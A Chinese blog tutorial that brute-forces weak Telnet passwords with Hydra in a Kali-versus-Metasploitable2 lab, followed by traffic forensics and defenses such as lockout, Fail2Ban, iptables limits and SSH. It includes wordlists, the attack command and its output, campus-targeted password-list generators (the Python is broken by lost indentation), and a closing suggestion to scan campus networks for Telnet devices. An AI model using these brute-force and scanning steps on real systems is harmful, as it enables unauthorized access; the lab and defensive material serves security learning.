🌀 鱼油のB10g

✦ 不定期更新技术随想

✦ 分享奇妙发现

📌 近期动态:

探索AI和工具使用...

第3章 第18.4天

Telnet协议攻防实战:弱口令爆破的攻防博弈

大家好,今天我们从安全工程师视角拆解Telnet协议的攻防技术。通过实验室的真实攻防演练,我会展示如何利用Telnet的特性进行弱口令爆破,以及如何有效防御这类攻击。我们将使用Kali Linux和Metasploitable2构建实验环境,模拟真实攻击场景。(´-ω-`)


一、实验环境搭建:漏洞沙箱构建

核心设备配置

  • 攻击机:Kali Linux 2023(IP:192.168.146.4)
  • 靶机:Metasploitable2 Linux(IP:192.168.146.3)
  • 预置漏洞:默认账号密码msfadmin/msfadmin

网络连通性验证

# Kali终端测试连通性
ping -c 4 192.168.146.3
# 输出示例:
# 64 bytes from 192.168.146.3: icmp_seq=1 ttl=64 time=0.5ms

关键准备步骤

  1. 创建弱口令字典:
# 用户名字典 user.txt
echo "msfadmin" > user.txt
echo "admin" >> user.txt
echo "root" >> user.txt

# 密码字典 pass.txt
echo "msfadmin" > pass.txt
echo "password" >> pass.txt
echo "123456" >> pass.txt
  1. 启动Wireshark监控:
# 过滤Telnet流量
wireshark -k -Y "tcp.port == 23" &

二、攻击原理:弱口令爆破剖析

攻击本质:自动化尝试常见用户名密码组合
技术特点

  • 协议弱点:Telnet无登录失败锁定机制
  • 字典质量:成功率依赖字典精准度
  • 低资源消耗:单次请求成本极低
graph TB A[字典文件] --> B[爆破工具] B -->|尝试组合| C[Telnet服务] C -->|成功| D[获取权限] C -->|失败| B

三、攻击实施:Hydra实战演示

爆破命令解析

hydra -L user.txt \# 指定用户名字典
-P pass.txt \# 指定密码字典
-t 4 \# 并行线程数(推荐CPU核心数)
-vV \# 显示详细过程
192.168.146.3 \# 目标IP
telnet# 协议类型

关键参数说明

  • -t 4:优化校园网环境下的并发效率
  • -f:找到第一个有效凭证即停止
  • -s 23:指定非标准端口(如校园设备常用2323)

典型输出

[DATA] attacking telnet://192.168.146.3:23/
[VERBOSE] Resolving addresses ... done
[23][telnet] host: 192.168.146.3login: msfadminpassword: msfadmin
[STATUS] attack finished for 192.168.146.3 (valid pair found)
1 of 1 target successfully completed

四、流量分析:Wireshark取证技术

爆破特征识别

  1. 高频登录尝试
No.TimeSourceDestinationProtocol Info
10010.000001192.168.146.4192.168.146.3 TELNETUSER: root
10020.000012192.168.146.4192.168.146.3 TELNETPASS: password
10030.000019192.168.146.4192.168.146.3 TELNETUSER: admin
  1. 固定错误模式
telnet contains "Login incorrect"# 过滤失败响应
  1. 成功登录特征
"Last login: Mon Jun5 14:30:12 UTC 2023 from 192.168.146.4"

五、防御策略:四层防护体系

1. 认证加固(服务端)
# 修改Metasploitable2的PAM配置
sudo vim /etc/pam.d/login
# 添加:
auth required pam_tally2.so deny=3 unlock_time=300# 3次失败锁定5分钟
2. 网络层防护(IPTables)
# 限制每分钟Telnet连接数
sudo iptables -A INPUT -p tcp --dport 23 -m state --state NEW -m recent --set
sudo iptables -A INPUT -p tcp --dport 23 -m state --state NEW -m recent --update --seconds 60 --hitcount 5 -j DROP
3. 应用层防护(Fail2Ban)
# /etc/fail2ban/jail.local
[telnet]
enabled= true
port= telnet
filter= telnet
logpath= /var/log/auth.log
maxretry = 3# 3次尝试后封禁
4. 协议替代方案(SSH密钥认证)
# 生成密钥对替代密码登录
ssh-keygen -t ed25519
ssh-copy-id msfadmin@192.168.146.3

六、高级攻击:社工字典生成

校园场景字典模板

# 生成校园场景字典(Python示例)
users = ["admin", "root", "netadmin"]
base_pass = ["Aa123456", "Campus@2023", "Lab@888"]

# 组合日期变体
for year in range(2020, 2024):
for month in range(1, 13):
for user in users:
for base in base_pass:
print(f"{user}")# 用户名字典
print(f"{base}")# 基础密码
print(f"{base}{year}") # 基础密码+年份
print(f"{base}{month:02d}") # 基础密码+月份

实用工具

# 使用Crunch生成定制字典
crunch 6 8 -t @,%%%% >> pass.txt# 生成姓名首字母+生日字典
# 示例: zs199812

七、防御加固:企业级实践

  1. 双因素认证
# 安装Google Authenticator
sudo apt install libpam-google-authenticator
google-authenticator# 生成绑定二维码
  1. 审计与监控
# 记录所有Telnet登录尝试
sudo vim /etc/syslog.conf
# 添加:
auth.* /var/log/telnet_auth.log
  1. 网络隔离
! 思科设备隔离Telnet服务
access-list 110 deny tcp any any eq 23
access-list 110 permit ip any any
interface vlan 10
ip access-group 110 in

总结:Telnet安全启示

  1. 协议缺陷:明文传输+弱认证机制是根本弱点
  2. 攻击本质:自动化尝试+社工字典=高成功率
  3. 防御核心
  • 认证加固:强密码策略+失败锁定
  • 协议升级:SSH替代方案
  • 网络控制:访问限制+流量监控

实验建议

  1. 尝试使用彩虹表攻击弱密码哈希
  2. 编写Python脚本模拟Telnet爆破过程
  3. 在校园网络扫描开放Telnet服务的设备

当你在实验室管理服务器时,Telnet的便捷性背后隐藏着巨大风险。理解其攻防本质,才能构建真正的安全防线。(`・ω・´)

posted on 2025-08-04 08:05  鱼油YOU  阅读(254)  评论(0)    收藏  举报